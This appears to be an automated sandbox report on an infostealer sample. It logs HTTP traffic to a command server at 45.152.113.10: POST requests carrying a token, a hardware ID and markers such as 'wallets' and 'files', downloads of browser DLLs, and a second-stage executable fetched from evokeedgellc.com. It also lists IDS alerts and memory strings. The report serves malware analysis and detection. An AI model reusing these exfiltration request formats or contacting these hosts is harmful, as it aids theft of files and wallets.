52 6c 4c 77 70 6f 64 48 52 77 63 7a 6f 76 4c 33 64 33 64 79 35 74 62 33 70 70 62 47 78 68 4c 6d 39 79 5a 79 39 68 59 6d 39 31 64 43 38 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 75 62 57 39 36 61 57 78 73 59 53 35 76 63 6d 63 76 5a 6d 6c 79 5a 57 5a 76 65 43 38 2f 64 58 52 74 58 32 31 6c 5a 47 6c 31 62 54 31 6d 61 58 4a 6c 5a 6d 39 34 4c 57 52 6c 63 32 74 30 62 33 41 6d 64 58 52 74 58 33 4e 76 64 58 4a 6a 5a 54 31 69 62 32 39 72 62 57 46 79 61 33 4d 74 64 47 39 76 62 47 4a 68 63 69 5a 31 64 47 31 66 59 32 46 74 63 47 46 70 5a 32 34 39 62 6d 56 33 4c 58 56 7a 5a 58 4a 7a 4a 6e 56 30 62 56 39 6a 62 32 35 30 5a 57 35 30 50 53 31 6e 62 47 39 69 59 57 77 4b 61 48 52 30 63 48 4d 36 4c 79 39 33 64 33 63 7
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 45.152.113.10Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 48 43 41 46 43 47 44 41 41 4b 45 42 46 49 4a 44 47 2d 2d 0d 0a Data Ascii: ------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KJDHCAFCGDAAKEBFIJDGContent-Disposition: form-data; name="message"wallets------KJDHCAFCGDAAKEBFIJDG--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIIJJJDGCBAAKFIIECGHost: 45.152.113.10Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 49 4a 4a 4a 44 47 43 42 41 41 4b 46 49 49 45 43 47 2d 2d 0d 0a Data Ascii: ------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------KFIIJJJDGCBAAKFIIECGContent-Disposition: form-data; name="message"files------KFIIJJJDGCBAAKFIIECG--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: 45.152.113.10Content-Length: 98527Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="message"ybncbhylepme------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FBKKJEBFIDAEBFHIDAEBHost: 45.152.113.10Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 32 38 31 63 35 39 37 66 66 30 33 63 39 66 61 62 61 39 37 64 66 33 64 39 62 61 66 63 61 63 37 32 65 63 62 61 38 62 62 33 34 66 64 62 64 64 34 64 33 64 62 34 34 35 33 37 30 63 66 33 35 63 37 30 66 32 62 39 65 38 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 42 4b 4b 4a 45 42 46 49 44 41 45 42 46 48 49 44 41 45 42 2d 2d 0d 0a Data Ascii: ------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="token"6281c597ff03c9faba97df3d9bafcac72ecba8bb34fdbdd4d3db445370cf35c70f2b9e8e------FBKKJEBFIDAEBFHIDAEBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FBKKJEBFIDAEBFHIDAEB--

Source: Joe Sandbox View	IP Address: 45.152.113.10 45.152.113.10
Source: Joe Sandbox View	IP Address: 198.54.120.231 198.54.120.231

Source: Joe Sandbox View	ASN Name: CODECCLOUD-AS-APCodecCloudHKLimitedHK CODECCLOUD-AS-APCodecCloudHKLimitedHK
Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49733 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49734 -> 198.54.120.231:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49734 -> 198.54.120.231:443

Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10
Source: unknown	TCP traffic detected without corresponding DNS query: 45.152.113.10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: global traffic	HTTP traffic detected: GET /app/l2.exe HTTP/1.1Host: evokeedgellc.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.152.113.10Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/sqlite3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/freebl3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/mozglue.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/msvcp140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/nss3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/softokn3.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /15a25e53742510fe/vcruntime140.dll HTTP/1.1Host: 45.152.113.10Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: evokeedgellc.com

Source: unknown

HTTP traffic detected: POST /92335b4816f77e90.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 45.152.113.10Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 37 41 35 38 30 46 36 42 37 34 31 31 31 37 36 38 33 38 37 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"A7A580F6B7411176838713------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"default------JJECGCBGDBKJJKEBFBFH--

Source: RegAsm.exe, 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/freebl3.dll5
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/freebl3.dll?
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/mozglue.dll
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/msvcp140.dll
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/nss3.dll
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/softokn3.dll
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/sqlite3.dll
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/15a25e53742510fe/vcruntime140.dll
Source: RegAsm.exe, 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.php7N
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpI
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpL
Source: RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phplets
Source: RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phppi
Source: RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpppresolver.dlli
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000C9B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpu
Source: RegAsm.exe, 00000002.00000002.1874915133.000000002DEA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10/92335b4816f77e90.phpw
Source: RegAsm.exe, 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://45.152.113.10amData
Source: file.exe	String found in binary or memory: http://aia.entrust.net/ts1-chain256.cer01
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: file.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: file.exe	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: file.exe	String found in binary or memory: http://crl.entrust.net/ts1ca.crl0
Source: JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net02
Source: file.exe	String found in binary or memory: http://ocsp.entrust.net03
Source: JKJDAEBFCB.exe, 00000005.00000003.1852097692.0000000002BEF000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, JKJDAEBFCB.exe.2.dr, oobeldr.exe.5.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: file.exe, freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe	String found in binary or memory: http://www.entrust.net/rpa03
Source: RegAsm.exe, RegAsm.exe, 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: RegAsm.exe, 00000002.00000002.1865423926.000000001B0AA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1875271976.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EHJKFCGH.2.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000D12000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1871240631.00000000270C1000.00000004.00000020.00020000.00000000.sdmp, GCGIDGCGIEGDGDGDGHJK.2.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: EHJKFCGH.2.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ep
Source: RegAsm.exe, 00000002.00000002.1854451484.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.epnacl
